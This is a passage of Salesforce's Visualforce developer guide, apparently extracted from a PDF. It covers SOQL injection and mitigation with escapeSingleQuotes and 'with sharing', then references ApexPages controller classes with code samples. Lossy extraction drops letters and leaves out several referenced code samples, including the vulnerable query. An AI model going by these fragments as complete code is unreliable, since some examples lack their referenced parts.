In other programming languages, the previous aw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If
404
SOQL Injection
the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: http://www.owasp.org/index.php/SQL_injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.google.com/search?q=sql+injection
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the Database.query method. If the user provides a normal value, the statement executes as expected:
name = Bob sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection aw can be used to modify the intended logic of any vulnerable query.
405
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController { . . . }
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.
406
407
Appendix
C
Apex Classes Used in Visualforce Controllers
This appendix includes information about the system-supplied Apex classes that can be used when building custom Visualforce controllers and controller extensions. These include: ApexPages Methods Action Class IdeaStandardController Class
IdeaStandardSetController Class Message Class PageReference Class SelectOption Class StandardController Class StandardSetController Class
For more information on custom controllers and extensions, see Custom Controllers and Controller Extensions on page 65. For more information on Apex, see the Force.com Apex Code Developer's Guide.
ApexPages Methods
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page. In addition, ApexPages is used as a namespace for the PageReference and Message classes. The following table lists the ApexPages methods: Name
addMessage addMessages getMessages hasMessages
Arguments sObject
ApexPages.Message
Description Add a message to the current page context. Adds a list of messages to the current page context based on a thrown exception.
Exception ex
ApexPages.Message[] Returns a list of the messages associated with the current context. Boolean Returns true if there are messages associated with the current context, false otherwise.
408
Action Class
Name
hasMessages
Arguments ApexPages.Severity
Description Returns true if messages of the specied severity exist, false otherwise.
Action Class
You can use an ApexPages.Action class to create an action method that you can use in a Visualforce custom controller or controller extension. For example, you could create a saveOver method on a controller extension that performs a custom save.
Instantiation
The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
ApexPages.Action saveAction = new ApexPages.Action('{!save}');
Methods
The action methods are all called by and operate on a particular instance of Action. The table below describes the instance methods for Action. Name
getExpression invoke
Arguments
Description Returns the expression that is evaluated when the action is invoked.
Example
In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the account being updated or created, the system writes a message to the system debug log. This example extends the standard controller for Account. The following is the controller extension.
public class myCon{ public PageReference RedirectToStep2(){ ... ... return Page.Step2; } }
The following is the Visualforce markup for a page that uses the above controller extension.
<apex:component> <apex:attribute name="actionToInvoke" type="ApexPages.Action" .... /> ... <apex:commandButton value="Perform Controller Action" action="{!actionToInvoke}"/> ... </apex:component>
409
IdeaStandardController Class
For information on the debug log, see Viewing Debug Logs in the Salesforce online help.
IdeaStandardController Class
IdeaStandardController objects offer Ideas-specic functionality in addition to what is provided by the StandardController Class. Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative.
Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard ideas controller.
Methods
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController. The table below describes the instance method for IdeaStandardController. Name
getCommentList
Arguments
Description Returns the list of read-only comments from the current page. This method returns the following comment properties: id commentBody createdDate createdBy.Id createdBy.communityNickname
In addition to the method listed above, the IdeaStandardController class inherits all the methods associated with the StandardController Class. The following table lists these methods. Name
addFields
Arguments List<String>
fieldNames
Description When a Visualforce page is loaded, the elds accessible to the page are based on the elds referenced in the Visualforce markup. This method adds a reference to each eld specied in fieldNames so that the controller can explicitly access those elds as well..
410
IdeaStandardController Class
Name
Arguments
Return Type
Description This method should be called before a record has been loadedtypically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the reset() method before calling addFields(). The strings in fieldNames can either be the API name of a eld, such as AccountId, or they can be explicit relationships to elds, such as foo__r.myField__c. This method is only for controllers used by dynamicVisualforce bindings.
System.PageReference Returns the PageReference of the cancel page. System.PageReference Deletes record and returns the PageReference of the delete page. System.PageReference Returns the PageReference of the standard edit page. String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the elds that are referenced in the associated Visualforce markup are available for querying on this SObject. All other elds, including elds from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional elds that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example:
<apex:outputText value="{!account.billingcity} {!account.contacts}" rendered="false"/>
getRecord
SObject
reset
Void
Forces the controller to reacquire access to newly referenced elds. Any changes made to the record prior to this method call are discarded. This method is only used if addFields is called outside the constructor, and it must be called directly before addFields. This method is only for controllers used by dynamicVisualforce bindings.
411
IdeaStandardController Class
Name
save view
Arguments
Return Type
Description
System.PageReference Saves changes and returns the updated PageReference. System.PageReference Returns the PageReference object of the standard detail page.
Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
public class MyIdeaExtension { private final ApexPages.IdeaStandardController ideaController; public MyIdeaExtension(ApexPages.IdeaStandardController controller) { ideaController = (ApexPages.IdeaStandardController)controller; } public List<IdeaComment> getModifiedComments() { IdeaComment[] comments = ideaController.getCommentList(); // modify comments here return comments; } }
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must be named detailPage for this example to work. Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a specic idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.
<!-- page named detailPage --> <apex:page standardController="Idea" extensions="MyIdeaExtension"> <apex:pageBlock title="Idea Section"> <ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}">{!idea.title} </ideas:detailOutputLink> <br/><br/> <apex:outputText >{!idea.body}</apex:outputText> </apex:pageBlock> <apex:pageBlock title="Comments Section"> <apex:dataList var="a" value="{!modifiedComments}" id="list"> {!a.commentBody} </apex:dataList> <ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}" pageOffset="-1">Prev</ideas:detailOutputLink> | <ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}" pageOffset="1">Next</ideas:detailOutputLink> </apex:pageBlock> </apex:page>
412
IdeaStandardSetController Class
IdeaStandardSetController Class
IdeaStandardSetController objects offer Ideas-specic functionality in additional to what is provided by the StandardSetController Class. Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative.
Instantiation
An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard list controller for ideas.
Methods
A method in the IdeaStandardSetController object is called by and operated on a particular instance of an IdeaStandardSetController. The table below describes the instance method for IdeaStandardSetController. Name
getIdeaList
Arguments
Description Returns the list of read-only ideas in the current page set. You can use the <ideas:listOutputLink>, <ideas:profileListOutputLink>, and <ideas:detailOutputLink> components to display prole pages as well as idea list and detail pages (see the examples below). The following is a list of properties returned by this method: Body Categories Category CreatedBy.CommunityNickname CreatedBy.Id CreatedDate Id LastCommentDate LastComment.Id LastComment.CommentBody LastComment.CreatedBy.Id LastComment.CreatedBy.CommunityNickname NumComments Status Title VoteTotal
413
IdeaStandardSetController Class
In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the StandardSetController Class. Note: The methods inherited from the StandardSetController Class cannot be used to affect the list of ideas returned by the getIdeaList method. The following table lists the inherited methods. Name
cancel first getCompleteResult
Arguments
Return Type
Description
System.PageReference Returns the PageReference of the original page, if known, or the home page. Void Boolean Returns the rst page of records. Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records. Returns the ID of the lter that is currently in context. Indicates whether there are more records after the current page set. Indicates whether there are more records before the current page set.
System.SelectOption[] Returns a list of the listviews available to the current user. Integer Integer sObject Returns the page number of the current page set. Note that the rst page returns 1. Returns the number of records included in each page set. Returns the sObject that represents the changes to the selected records.This retrieves the prototype object contained within the class, and is used for performing mass updates. Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it. Returns the number of records in the set. Returns the list of sObjects that have been selected. Returns the last page of records. Returns the next page of records. Returns the previous page of records.
getRecords
System.PageReference Inserts new records or updates existing records that have been changed. After this operation is nished, it returns a PageReference to the original page, if known, or the home page. String filterId Void Sets the lter ID of the controller.
setFilterID
414
IdeaStandardSetController Class
Name
setpageNumber setPageSize setSelected
Arguments
Return Type
Description Sets the page number. Sets the number of records in each page set. Set the selected records.
Void Void
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the <ideas:profileListOutputLink> component can display a prole page that lists the recent replies, submitted ideas, and votes associated with a user. Because this example does not identify a specic user ID, the page automatically shows the prole page for the current logged in user. This page must be named profilePage in order for this example to work:
<!-- page named profilePage --> <apex:page standardController="Idea" extensions="MyIdeaProfileExtension" recordSetVar="ideaSetVar"> <apex:pageBlock > <ideas:profileListOutputLink sort="recentReplies" page="profilePage"> Recent Replies</ideas:profileListOutputLink> | <ideas:profileListOutputLink sort="ideas" page="profilePage">Ideas Submitted </ideas:profileListOutputLink> | <ideas:profileListOutputLink sort="votes" page="profilePage">Ideas Voted </ideas:profileListOutputLink> </apex:pageBlock> <apex:pageBlock > <apex:dataList value="{!modifiedIdeas}" var="ideadata"> <ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage"> {!ideadata.title}</ideas:detailoutputlink> </apex:dataList> </apex:pageBlock> </apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays the detail page for a specic idea. This page must be named viewPage in order for this example to work:
<!-- page named viewPage --> <apex:page standardController="Idea">
415
IdeaStandardSetController Class
<apex:pageBlock title="Idea Section"> <ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title} </ideas:detailOutputLink> <br/><br/> <apex:outputText>{!idea.body}</apex:outputText> </apex:pageBlock> </apex:page>
Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller: Note: You must have created at least one idea for this example to return any ideas.
public class MyIdeaListExtension { private final ApexPages.IdeaStandardSetController ideaSetController; public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) { ideaSetController = (ApexPages.IdeaStandardSetController)controller; } public List<Idea> getModifiedIdeas() { Idea[] ideas = ideaSetController.getIdeaList(); // modify ideas here return ideas; } }
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the <ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page must be named listPage in order for this example to work:
<!-- page named listPage --> <apex:page standardController="Idea" extensions="MyIdeaListExtension" recordSetVar="ideaSetVar"> <apex:pageBlock > <ideas:listOutputLink sort="recent" page="listPage">Recent Ideas </ideas:listOutputLink> | <ideas:listOutputLink sort="top" page="listPage">Top Ideas </ideas:listOutputLink> | <ideas:listOutputLink sort="popular" page="listPage">Popular Ideas </ideas:listOutputLink> | <ideas:listOutputLink sort="comments" page="listPage">Recent Comments </ideas:listOutputLink> </apex:pageBlock> <apex:pageBlock > <apex:dataList value="{!modifiedIdeas}" var="ideadata"> <ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage"> {!ideadata.title}</ideas:detailoutputlink> </apex:dataList> </apex:pageBlock> </apex:page>
416
KnowledgeArticleVersionStandardController Class
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays the detail page for a specic idea. This page must be named viewPage.
<!-- page named viewPage --> <apex:page standardController="Idea"> <apex:pageBlock title="Idea Section"> <ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title} </ideas:detailOutputLink> <br/><br/> <apex:outputText>{!idea.body}</apex:outputText> </apex:pageBlock> </apex:page>
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specic functionality in addition to what is provided by the StandardController Class.
Methods
The KnowledgeArticleVersionStandardController object has the following specialized instance methods: Name
getSourceId setDataCategory String categoryGroup
Arguments
Description Returns the ID for the source object record when creating a new article from another object. Specify a default data category for the specied data category group when creating a new article.
String category
In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods associated with the StandardController Class. The following table lists the inherited methods. Note: Though inherited, the edit, delete, and save methods don't serve a function when used with the KnowledgeArticleVersionStandardController class.
Name
addFields
Arguments List<String>
fieldNames
Description When a Visualforce page is loaded, the elds accessible to the page are based on the elds referenced in the Visualforce markup. This method adds a reference to each eld specied in fieldNames so that the controller can explicitly access those elds as well.. This method should be called before a record has been loadedtypically, it's called by the controller's constructor. If this method is called outside of the constructor, you must use the reset() method before calling addFields().
417
KnowledgeArticleVersionStandardController Class
Name
Arguments
Return Type
Description The strings in fieldNames can either be the API name of a eld, such as AccountId, or they can be explicit relationships to elds, such as foo__r.myField__c. This method is only for controllers used by dynamicVisualforce bindings.
System.PageReference Returns the PageReference of the cancel page. System.PageReference Deletes record and returns the PageReference of the delete page. System.PageReference Returns the PageReference of the standard edit page. String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the elds that are referenced in the associated Visualforce markup are available for querying on this SObject. All other elds, including elds from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional elds that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example:
<apex:outputText value="{!account.billingcity} {!account.contacts}" rendered="false"/>
getRecord
SObject
reset
Void
Forces the controller to reacquire access to newly referenced elds. Any changes made to the record prior to this method call are discarded. This method is only used if addFields is called outside the constructor, and it must be called directly before addFields. This method is only for controllers used by dynamicVisualforce bindings.
save view
System.PageReference Saves changes and returns the updated PageReference. System.PageReference Returns the PageReference object of the standard detail page.
418
KnowledgeArticleVersionStandardController Class
Example
The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a custom extension controller. In this example, you create a class named AgentContributionArticleController that allows customer-support agents to see pre-populated elds on the draft articles they create while closing cases. Prerequisites: 1. Create an article type called FAQ. For instructions, see Dening Article Types in the Salesforce online help. 2. Create a text custom eld called Details. For instructions, see Adding Custom Fields to Article Types in the Salesforce online help. 3. Create a category group called Geography and assign it to a category called USA. For instructions, see Creating and Modifying Category Groups in the Salesforce online help and Adding Data Categories to Category Groups in the Salesforce online help. 4. Create a category group called Topics and assign it a category called Maintenance.
/** Custom extension controller for the simplified article edit page that appears when an article is created on the close-case page. */ public class AgentContributionArticleController { // The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as an argument public AgentContributionArticleController( ApexPages.KnowledgeArticleVersionStandardController ctl) { // This is the SObject for the new article. //It can optionally be cast to the proper article type. // For example, FAQ__kav article = (FAQ__kav) ctl.getRecord(); SObject article = ctl.getRecord(); // This returns the ID of the case that was closed. String sourceId = ctl.getSourceId(); Case c = [select subject, description from Case where id=:sourceId]; // This overrides the default behavior of pre-filling the // title of the article with the subject of the closed case. article.put('title', 'From Case: '+c.subject); article.put('details__c',c.description); // Only one category per category group can be specified. ctl.selectDataCategory('Geography','USA'); ctl.selectDataCategory('Topics','Maintenance'); } /** Test for this custom extension controller */ public static testMethod void testAgentContributionArticleController() { String caseSubject = 'my test'; String caseDesc = 'my test description'; Case c = new Case(); c.subject= caseSubject; c.description = caseDesc; insert c; String caseId = c.id; System.debug('Created Case: ' + caseId); ApexPages.currentPage().getParameters().put('sourceId', caseId); ApexPages.currentPage().getParameters().put('sfdc.override', '1'); ApexPages.KnowledgeArticleVersionStandardController ctl = new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav()); new AgentContributionArticleController(ctl);
419
Message Class
If you created the custom extension controller for the purpose described in the previous example (that is, to modify submitted-via-case articles), complete the following steps after creating the class: 1. Log into your Salesforce organization and click Your Name Setup Customize Knowledge Settings. 2. Click Edit. 3. Assign the class to the Use Apex customization eld. This associates the article type specied in the new class with the article type assigned to closed cases. 4. Click Save.
Message Class
When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are automatically added to the page error collections. If there is an inputField component bound to the eld with an error, the message is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide. If your application uses a custom controller or extension, you must use the message class for collecting errors.
Instantiation
In a custom controller or controller extension, you can instantiate a Message in one of the following ways:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary);
where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used to summarize the message. For example:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error msg');
where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to summarize the message, and detail is the String used to provide more detailed information about the error.
Methods
The Message methods are all called by and operate on a particular instance of Message. The table below describes the instance methods for Message. Name
getComponentLabel
Arguments
Description Returns the label of the associated inputField component. If no label is dened, this method returns null.
420
PageReference Class
Name
getDetail
Arguments
Description Returns the value of the detail parameter used to create the message. If no detail String was specied, this method returns null. Returns the severity enum used to create the message. Returns the summary String used to create the message.
getSeverity getSummary
ApexPages.Severity String
ApexPages.Severity Enum
Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
CONFIRM ERROR FATAL INFO WARNING
All enums have access to standard methods, such as name and value.
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values. Use a PageReference object: To view or set query string parameters and values for a page To navigate the user to a different page as the result of an action method
Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
421
PageReference Class
Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specied page and will prevent the page from being deleted while the controller or extension exists.
PageReference pageRef = new PageReference('partialURL');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specied record. This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of the specied page and won't issue an error message to prevent user deletion of the page.
PageReference pageRef = new PageReference('fullURL');
You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:
PageReference pageRef = ApexPages.currentPage();
Methods
PageReference methods are all called by and operate on a particular instance of a PageReference. The table below describes the instance methods for PageReference. Name
getAnchor getContent
Arguments
Description Returns the name of the anchor located on the page. Returns the output of the page, as displayed to a user in a Web browser. The content of the returned Blob is dependant on how the page is rendered. If the page is rendered as a PDF, it returns the PDF. If the page is not rendered as a PDF, it returns the HTML. To access the content of the returned HTML as a string, use the toString Blob method. Note: If you use getContent in a test method, a blank PDF is generated when used with a Visualforce page that is supposed to render as PDF. This method can't be used in: Triggers Scheduled Apex Batch jobs Test methods
422
PageReference Class
Name
Arguments
Return Type
Blob
Returns the page as a PDF, regardless of the <apex:page> component's renderAs attribute. This method can't be used in: Triggers Scheduled Apex Batch jobs Test methods Apex email services
getCookies
Map<String, System.Cookie[]>
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie objects with that name. Used in conjunction with the cookie class. Only returns cookies with the apex__ prex set by the setCookies method.
getHeaders
Map<String, String> Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header. This map can be modied and remains in scope for the PageReference object. For instance, you could do:
PageReference.getHeaders().put('Date', '9/9/99');
getParameters
Map<String, String> Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter. This map can be modied and remains in scope for the PageReference object. For instance, you could do:
PageReference.getParameters().put('id', myID);
getRedirect
Boolean
Returns the current value of the PageReference object's redirect attribute. Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, the redirect always occurs, regardless of whether the redirect attribute is set to true or false.
getUrl setAnchor
Returns the URL associated with the PageReference when it was originally dened.
423
PageReference Class
Name
setCookies
Description Creates a list of cookie objects. Used in conjunction with the cookie class. Important: Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation. The setCookies method adds the prex apex__ to the cookie names. Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute. After you create a cookie, the properties of the cookie can't be changed. Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see Caching Sites Pages in the Salesforce online help. You can only create cookies and set cookie values for a page in the constructor for the page controller (see example).
setRedirect
Boolean redirect
System.PageReference Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side redirect. This type of redirect performs an HTTP GET request, and ushes the view state, which uses POST. If set to false, the redirect is a server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset of extensions used by the source page. Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a different controller or controller extension, the redirect always occurs, regardless of whether the redirect attribute is set to true or false.
424
PageReference Class
} }
The following page markup calls the getAccount method from the controller above:
<apex:page controller="MyController"> <apex:pageBlock title="Retrieving Query String Parameters"> You are viewing the {!account.name} account. </apex:pageBlock> </apex:page>
Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specied by the id parameter in the URL of the page. To access id, the getAccount method uses the ApexPages namespace: First the currentPage method returns the PageReference instance for the current page. PageReference returns a reference to a Visualforce page, including its query string parameters. Using the page reference, use the getParameters method to return a map of the specied query string parameter names and values. Then a call to the get method specifying id returns the value of the id parameter itself.
425
SelectOption Class
The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected to the detail page for the account just created:
<apex:page controller="mySecondController" tabStyle="Account"> <apex:sectionHeader title="New Account Edit Page" /> <apex:form> <apex:pageBlock title="Create a New Account"> <apex:pageBlockButtons location="bottom"> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="Account Information"> <apex:inputField id="accountName" value="{!account.name}"/> <apex:inputField id="accountSite" value="{!account.site}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
SelectOption Class
A SelectOption object species one of the possible values for a Visualforce selectCheckboxes, selectList, or selectRadio component. It consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.
Instantiation
In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:
SelectOption option = new SelectOption(value, label, isDisabled);
where value is the String that is returned to the controller if the option is selected by a user, label is the String that is displayed to the user as the option choice, and isDisabled is a Boolean that, if true, species that the user cannot select the option, but can still view it.
SelectOption option = new SelectOption(value, label);
where value is the String that is returned to the controller if the option is selected by a user, and label is the String that is displayed to the user as the option choice. Because a value for isDisabled is not specied, the user can both view and select the option.
Methods
The SelectOption methods are all called by and operate on a particular instance of SelectOption. The table below describes the instance methods for SelectOption. Name
getDisabled
Arguments
Description Returns the current value of the SelectOption object's isDisabled attribute. If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can both view and select the option.
426
SelectOption Class
Name
getEscapeItem
Arguments
Description Returns the current value of the SelectOption object's itemEscaped attribute. If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If itemEscaped is set to false, items are rendered as written. Returns the option label that is displayed to the user. Returns the option value that is returned to the controller if a user selects the option. Sets the value of the SelectOption object's isDisabled attribute. If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can both view and select the option. Sets the value of the SelectOption object's itemEscaped attribute. If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If itemEscaped is set to false, items are rendered as written. Sets the value of the option label that is displayed to the user. Sets the value of the option value that is returned to the controller if a user selects the option.
Void
setEscapeItem
Boolean
itemsEscaped
Void
setLabel setValue
String l String v
Void Void
Example
The following example shows how a list of SelectOptions objects can be used to provide possible values for a selectCheckboxes component on a Visualforce page. In the following custom controller, the getItems method denes and returns the list of possible SelectOption objects:
public class sampleCon { String[] countries = new String[]{}; public PageReference test() { return null; } public List<SelectOption> getItems() { List<SelectOption> options = new List<SelectOption>(); options.add(new SelectOption('US','US')); options.add(new SelectOption('CANADA','Canada')); options.add(new SelectOption('MEXICO','Mexico')); return options; } public String[] getCountries() { return countries; } public void setCountries(String[] countries) {
427
StandardController Class
this.countries = countries; } }
In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag, the options are displayed as checkboxes:
<apex:page controller="sampleCon"> <apex:form> <apex:selectCheckboxes value="{!countries}"> <apex:selectOptions value="{!items}"/> </apex:selectCheckboxes><br/> <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/> </apex:form> <apex:outputPanel id="out"> <apex:actionstatus id="status" startText="testing..."> <apex:facet name="stop"> <apex:outputPanel> <p>You have selected:</p> <apex:dataList value="{!countries}" var="c">{!c}</apex:dataList> </apex:outputPanel> </apex:facet> </apex:actionstatus> </apex:outputPanel> </apex:page>
StandardController Class
StandardController objects reference the pre-built Visualforce controllers provided by salesforce.com. The only time it is necessary to refer to a StandardController object is when dening an extension for a standard controller. StandardController is the data type of the single argument in the extension class constructor.
Instantiation
You can instantiate a StandardController in the following way:
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
Methods
StandardController methods are all called by and operate on a particular instance of a StandardController. The table below describes the instance methods for StandardController. Name
addFields
Arguments List<String>
fieldNames
Description When a Visualforce page is loaded, the elds accessible to the page are based on the elds referenced in the Visualforce markup. This method adds a reference to each eld specied in fieldNames so that the controller can explicitly access those elds as well.. This method should be called before a record has been loadedtypically, it's called by the controller's
428
StandardController Class
Name
Arguments
Return Type
Description constructor. If this method is called outside of the constructor, you must use the reset() method before calling addFields(). The strings in fieldNames can either be the API name of a eld, such as AccountId, or they can be explicit relationships to elds, such as foo__r.myField__c. This method is only for controllers used by dynamicVisualforce bindings.
System.PageReference Returns the PageReference of the cancel page. System.PageReference Deletes record and returns the PageReference of the delete page. System.PageReference Returns the PageReference of the standard edit page. String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the elds that are referenced in the associated Visualforce markup are available for querying on this SObject. All other elds, including elds from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional elds that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example:
<apex:outputText value="{!account.billingcity} {!account.contacts}" rendered="false"/>
getRecord
SObject
reset
Void
Forces the controller to reacquire access to newly referenced elds. Any changes made to the record prior to this method call are discarded. This method is only used if addFields is called outside the constructor, and it must be called directly before addFields. This method is only for controllers used by dynamicVisualforce bindings.
save
429
StandardSetController Class
Name
view
Arguments
Return Type
Description
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller extension:
public class myControllerExtension { private final Account acct; // The extension constructor initializes the private member // variable acct by using the getRecord method from the standard // controller. public myControllerExtension(ApexPages.StandardController stdController) { this.acct = (Account)stdController.getRecord(); } public String getGreeting() { return 'Hello ' + acct.name + ' (' + acct.id + ')'; } }
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension"> {!greeting} <p/> <apex:form> <apex:inputField value="{!account.name}"/> <p/> <apex:commandButton value="Save" action="{!save}"/> </apex:form> </apex:page>
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list controllers provided by Salesforce. The StandardSetController class also contains a prototype object. This is a single sObject contained within the Visualforce StandardSetController class. If the prototype object's elds are set, those values are used during the save action, meaning that the values are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical changes to elds within a collection of objects). Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object. Keep in mind the following governor limits for batch Apex: Up to ve queued or active batch jobs are allowed for Apex. A user can have up to ve query cursors open at a time. For example, if ve cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the ve cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have ve Apex query cursors, ve batch cursors, and ve Visualforce cursors open at the same time.
430
StandardSetController Class
A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records are returned, the batch job is immediately terminated and marked as Failed. If no size is specied with the optional scope parameter, Salesforce chunks the records returned by the QueryLocator into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution of execute. The start, execute and finish methods can implement only one callout in each method.
Instantiation
You can instantiate a StandardSetController in either of the following ways: From a list of sObjects:
List<account> accountList = [SELECT name FROM Account LIMIT 20]; ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);
Methods
StandardSetController methods are all called by and operate on a particular instance of a StandardSetController. The table below describes the instance methods for StandardSetController. Name
cancel first getCompleteResult
Arguments
Return Type
Description
